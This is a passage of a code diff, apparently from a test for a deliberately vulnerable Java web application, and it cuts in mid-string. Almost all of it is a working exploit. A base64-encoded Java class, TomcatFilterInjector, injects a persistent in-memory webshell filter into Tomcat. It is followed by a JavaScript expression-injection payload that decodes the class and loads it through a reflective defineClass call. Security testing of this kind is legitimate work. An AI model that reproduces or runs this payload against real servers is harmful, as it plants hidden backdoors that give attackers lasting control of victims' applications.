S9sYW5nL09iamVjdDsBABVbTGphdmEvbGFuZy9DbGFzczwqPjsHAP0HAWEHAU8HASEHANcHANkBAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARuYW1lBwFbBwFiAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEADnt7dXJsUGF0dGVybn19AQANe3tjbGFzc05hbWV9fQEADXt7YmFzZTY0U3RyfX0MAIIAgwwAkgCTBwFdDAFjAWQHAV4MAWUBZgwBZwFoDACjAKQMAK8AsAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAWkAgwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QMANAA0QwBagB6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBawFsAQAGdGFyZ2V0DADiAOMBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBbQFuBwFvDAFwAXEMAXIBcwwBdAF1DAF2AHoBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcgEACXJlc291cmNlcwwBdwF4DAF5AXMMAIAAegwBegF7DAF8AWgMAIEAegwAuwC8DADCAMMBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAX0MAX4AqgwBfwGABwFhDAGBAYIMAYMBhAwBhQGGAQANZmluZEZpbHRlckRlZgEAEGphdmEvbGFuZy9TdHJpbmcHAYcMAMgBiAEAF2ZpbHRlciBhbHJlYWR5IGluamVjdGVkBwGJDAGKAYsBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZgwBjAF7AQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXABACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAMAYwBjQEADXNldEZpbHRlck5hbWUBAA5zZXRGaWx0ZXJDbGFzcwEADGFkZEZpbHRlckRlZgEADXNldERpc3BhdGNoZXIBAAdSRVFVRVNUAQANYWRkVVJMUGF0dGVybgwAeQB6AQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnDAGOAY8BAA1zZXRVUkxQYXR0ZXJuAQASYWRkRmlsdGVyTWFwQmVmb3JlAQAMYWRkRmlsdGVyTWFwBwGQDAF8AZEBAA1qYXZhL3V0aWwvTWFwDAGSAZMBABVmaWx0ZXIgaW5qZWN0IHN1Y2Nlc3MMAZQBlQEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAZYBgAEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQwAggGXDACCAZgMAZkBmgwBmwGcDAGdAZ4MAZ8AgwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAaABdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQASTWV0aG9kIG5vdCBmb3VuZDogDAGhAaIMAIIBiwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uAQAXRXJyb3IgaW52b2tpbmcgbWV0aG9kOiAMAIIBowwBpAGlBwGmDAGnAKQBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BAEJjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvbGFuZy9UaHJvd2FibGUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAHZ2V0TmFtZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGdmFsdWVzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247AQAUamF2YS91dGlsL0NvbGxlY3Rpb24BAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAIdG9TdHJpbmcBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAdmb3JOYW1lAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDYXVzZQEAFygpTGphdmEvbGFuZy9UaHJvd2FibGU7AQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAVjbG9zZQEADWdldFN1cGVyY2xhc3MBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBACooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9UaHJvd2FibGU7KVYBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACdvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy96S0hvcS9JbWFnZVV0aWwHAagBAAIvKggBqgEALm9yZy5hcGFjaGUuaHR0cC53ZWIuaGFuZGxlcnMueGZhWVcuT0F1dGhGaWx0ZXIIAawBD0hINHNJQUFBQUFBQUEvNlZYQ1hSVTFSbitiaktaOTJieTJJSUdCbFFVV2JLUURJUWtoQVNCYkFJYUFoS0VCbHJibDVtWFpHQXlNNzU1QXdsVnU5ak4xcU5IclcxdHBWcTcwTVcyU0dWQ3hBVmJxOVZXN1dhMXRYYmZ0ZnRxYTAyLys5NmJ5V1F5UVhzOEo3bnYzdnN2OS8rL2Y3bDNIbnY1bnZzQjFJdVZmclRqVmprY1Z2RlJQelRjcHVKMkJSK1QwenNVZk55UFQrQ1Rmc3pFcDFRY1VmQnBCWmNwK0l5Q3p5cjRuSW83SmR2blZYeEJ4UmRWSEZWeGw0cGpVdHVYVk56dHgzR2tGWXo2VUlzVGZzekNtQjhMY1kvY1BpbUhleFhjcCtCK1NYNmdGT2ZobEp3OUtCbS9MSmRma2N1SDVPeXJmczRlbHNNaktyNVdpa2Z4bUlLdnk2Ty9JVGNQeStGeHVmMkVpaWVsd0JNS3Z1bEhBMjVWOEMwLzF1RGIwb0h2bEdJeHZpdVZQaVhQK0o0ZlQrTVpTZmkrWlAyQlZQS3NKUHl3Rk0vaFJ3cCtyT0FuQXNYN2pSR0JzcTU5K2dFOUdOVmpBOEVleTR6RUJsb0VQQWs5bVNUSFVMaEJ3RDlvNkdIRDdOYUhESUZTWjdGTGo2YTQ4cTZMeENMV2VuSldWTzZpV0hzOHpOMVpYWkdZMFowYTZqUE1uWHBmMUpDSHhFTjZkSmR1UnVUYTNmUllneEVlMHRvVmlnOEZUVVBmcHlmanNhQzA1cURSRnh3eWhwS0RSalFhdEVjckhvOEdCK0xoUTVGb1ZBOXVjaWNYUnFLV1lkTGVCUlU1WHJSSGFYeFhYSnJaSXEwU2h3VG1UVU1YMFByMHBORlkzeGtMMmJhWFYreHRxeXdFaVdMWUhPWmt4TGIxN1ROQ0ZzbGVSNDNBblB5VEpKd0hkTE5SNE13Y1V1ZHd5RWhZa1hpTTVLSSt3bEMwdDAyZzVJQ0RhL2xrdkVZU0djek95TmUrcm1vOU5jem9zZlRRL3ExNndtWnpVcGlCeXg2U3pQclpZV1Q4bk9wa3BUUkJDUnV1bitJU21wd0hSOGFqb2xDZmdLOG5NaERUclpSSmZmTUxNVHJHaVdGcUpYbVByVitFTWtBTUIwUG1TTUtLQjlzamlVRTdGaEluUWlob3JoamkveDdXZ29LZkNxamh1Qk5yZ2IwVnJuRFNNQTlFRFN2WTQzeDNHSmVuaktUVk1oMDFtU0FNUmo3WjBkbytxRWRpVHE3MDgxOG10bTZhMjFLV3dDTEhwMGc4MkRaaUdhMm1xWTl3UDVHeWlKbWhEOG5FU0JySkpERVdPRGRQK2FCbEpZS2JPZlE0SE5MRHNHN3BBak9UazR3V09PZjBUckdta3BNZHlWZzJ2YWZNcHBEMFMyRGhhWnltL1diR2lPWFQyNTlualdwbXpjZ1B4MVFoMXg0RlAxUHdjd1cvY0hxamdsK3lsZGtOOTFjS2ZrMW9aQ3VoVy9rS1hXdmpzZjdJZ0IwanJUOW5SK0NzMC9IYitaeTB6RGc3bmI4bm5qSkRCdWswZSs3a0hsSXJkV2k0R0YxeTJDRXdXMjdVcHF4SXRMYk5MaHdOdjhGdnFXVEFzRHF6bldEdmxOTFE4RHM4VC9WN3B6WUpCUzlvK0QzK29PR1ArQk56d0drb08rTk85VEhFZWJwY0kzSjFUTnJLeU0wdDBGVlk0TWxVckhZb2tnelZ0clgyZEdZYW5Lbmh6L2dMODl0dys1MzBweU5UOGQ1d3BqdmtDV2M1TkllakxkWGZMM1g5Rlg5ajcyL3Q3R0dWYXZnNy9zSDRUU3J0Wk1JSU1UTkRwbUZkYkl6MGNLV2hFeGRxK0NmK0paRitVY1BOK0xlRy8rQWxnYVd2S3YwRWxyMjZqTk93Ulo3MFg3eXM0U0k1RzZmOVFvZ2lEWnU0Rk1XUzBJOEJEVEhFbVNnSmZTVEtXNEdKcVFtUEtCSFk4Qm92SmsxNGhhSWhnbjJhVUlXUFlDZDBrN2NvU1F6dTJhZHRMTHpUSnNLNkl4V3pJa05HTnJwRVR2ZzFVU28wVGN3UU16VnNsdjdNRXJNVk1VY1RaV0t1SnM0UVoycWlYSUo4S1haSjJqeFdub1poTVovdHQrQmR5TXVsVUNHNStaWFhyRmwycDJ0WXJuZlROaWVCd0xRdGljM3c5RzEwQ29PclBDZjU1MmF3M2JJdFoxZnBqN3V2bUtXRmJyOEMxNXlQMWJIVnNBYmpZWUdOQldTbTFuK3VGdFBvajdKb2c0NEdxcHMvSFkybEY0a2RpTytuYVdzcnBuYU9BczJrc3RBalJLVzVidXVZVzFISW45S1ljWEJMTEducHNaQjhURlFVMUZJYU52cjVnSE1WemVQTnZXVkxRV1U4YlVKWjViU1FUcjNucFoweTY2bmVVMkcvQ3VRcEJlUjNTY29XaDVBMFFpa3pZbzBFMlVoc2lpSWZCVEU5U3ZEazQwT3FrZkhhYkRqWnZPd1ZZcHg5MmFtaGVNeGk0dEdhaFpQZWtZTzYyU1B6bWY2MVZPNXhlbVUyQnhkWFZMN3lkYTlSWW51bTVwMWxxOFZ6KzFLVzhjb1daaU15TXhQWFRLVUdwa1ozNGtHYm5IVEk4Z0tIRkVpblhmSUpsN08vYzlDTUg1U1BTWnZrSlF4Nk5DbmZnd1ZrOXpqQTcyWjBwSEh6TXNheC9yYnpQSmNneXltWjZrdTZ0MVo1eGVTc3lvWmpiZ0Zadm1VT3lrbWVBVGxwb2xyWmUzUnlXbWYxbGxyeGJLZVZlZ3FmdnZHMVBTK2xLYlZ4Y3lDb0ovVFFvT0hraEx3MUJ2VllPTXErSHh6dTEzdDNCN2UxcHF4QnAra3BJc0JyZlhXbzBWaloxNlN2RGExcXFLdXIxMVd4VU1VbXZpbFhyV3J2YUd4dFd0UFF0TGFwZmxYajZzYjIxV3RhMjV2cUdsdnJXbGZXdDdXcjRoeG01cVUwcUtaMXdJaFpxamlYcGNIYXNsYlZyVmJGWW9HVlhmK2ZRUzArc1FBbjVQQ0FIQjZVdzBOK0RnL0w0UkU1SEpiRDQ1THdsSnc5eTE4Z2ZIREpWbURadnd4eEhuZmJJZENCRXZqa2pROGhndnhaWGlUTzRucFR6dnBzcmpmbnJCZHh2U1ZuZlI3WEYrV3N6K2RheUljYXg2M2NXYzJ2NExla2FoVGlMc21DYm81K2ZvRnllREFQMnpqVEhDWnNGMHY0bFFwMnVBcldrMVB5ZXF1cVIxR1VyMkVCWlJiYUdzb2RMbGVEblBWZ0ozWDQ1QTFMR25VSmc3c2xwQTJMcnJMaUUvQnNYVkZXSWs3Qm00YXlnbDgxRFY5M1RScitzbExQZmRCNmk4dG05SkJVdzhXTnZjVlZuUHRPSWRSMUJHdTd5K2JZNG1tVU5Yc0NIaWt5TjFjazRKa2lVOUxzcVQ1cSszSUJOaUtNVmx3T2kxOFArbWhSSllySHVWMmtZSWFDRUlTQzhEaXg4N2hyTHUyOUYrbVFkTDZPZ0FHTHFHd3hWSnhQQ0paUTdRcHFXRXJGeXhuQkNqcGN5U09xZVVnVkRxREdCbWt6TlMya3pHNjhEc1dVYkVJdjl0amdMTEgzUEpTc2NmZGEwWUM5ZUQzNUNCamVnTXRzNkEvZ2pUTGFlSk1MdWFORDU4eVJsRE9ETkE5NXdnU2ZEemdua0dLL0MvNVZFK0NmVVJEOE0xMGtRMVBCbjhFL1lybXV1Nnc4SC85NXVWSjUrTHRpRXlIWXlPd1BNL3NQNHREa0VMVExFSVNJdWh1Q1Joa0NlMTA0QkhWVTFrQVFHZ25yR3FyZFFBMU5WTnpNb21qQmRxempFZXQ1eUFXNGd0U0pFQ3pGb0J1Q0ZoZnU3UXpib0IyQ2k3RFMzZXVncmt3SXJtSUlMclJEY0FWRGNObWtFTFM0d0R1U2NpYmtzOWJKZXA3dHNXdkRWMVZkWEgzL0tPWWZ6UmFSMXk2N3pwd0M4bVVMeUlmOTlqRlJtM3VJTTc3RDNhSjhtcEllZnF2TEFpZXdvTHZtckZ1Z2VJN0FVM0lTQzN1UGlhVnBuRjBXR01VNWFTeXFxVTdqM0tQZDRxaDkxSEltWnBqK1NNRFhTY0JuRVdDeGdBQVQyK01TNE9Qak1udHk5aGlRNDJLY2ZhTFkzYlREWUp0ZmJpZlV4VFNtaTBtOWxicTdHY1p0dGp2MXBIbTVtMkFSRkhPM0NLYUxaSFhXeFdva2JSZGhsMG5LeG0wWUl3NXVSYmRSUXlrVGQxNzFLVnpYN0ZseEN0YzNsd1E4eDhTeU1Td3B3c040Zm1KeFRDeFBZOWt0ZUNiZ0djTnlnV2F2cEZXTW9iSUlKMFJsczFJVlVJclRvcXBaQ1hqTFZveWhwZ2lQWUxHY254UUxlcXVZd0drRVIwVjFRRWtMa3V1S2NRVFhCRHhscXdQS0dPcUxjUkkzOUk2aXNWbk5pcCtDSnJQZmR3U3ptdjBuc2FZMzRCOUYwd01CWDRDVnRIWTN2eDc3V3pLR1prSDdhb3BuejA1alhSb1hCSHhwck04UXFpVDdCZzlOT3lGcUpUSExMOWxidVhNRXBUWFZQTE5OMmpTajJadFozRVdZcnNWaDNNNWdhUHo1cEdVREc0VTZUaHhWTzE3dlUzQ3RndWNVWEtmZ2VnV1B5bHJDT0JQQk54MVp3UTEyaUY5Q3FZSWJ4M0VKdkZOWkdSK2xqVXcrT3hIMjhTSUEyN3lYWFV4akNheGcrY2p1MWNHUWIyWGg5RExNd3l5WXExa2MxOUxPdyt4S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\";try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass(\"java.lang.String\"); var bytecode; try { var clsBase64 = classLoader.loadClass(\"java.util.Base64\"); var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\"); var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz); bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\"); bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass(\"sun.misc.BASE64Decoder\"); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\"); var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}')")); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/JEXL2ServletTest.java 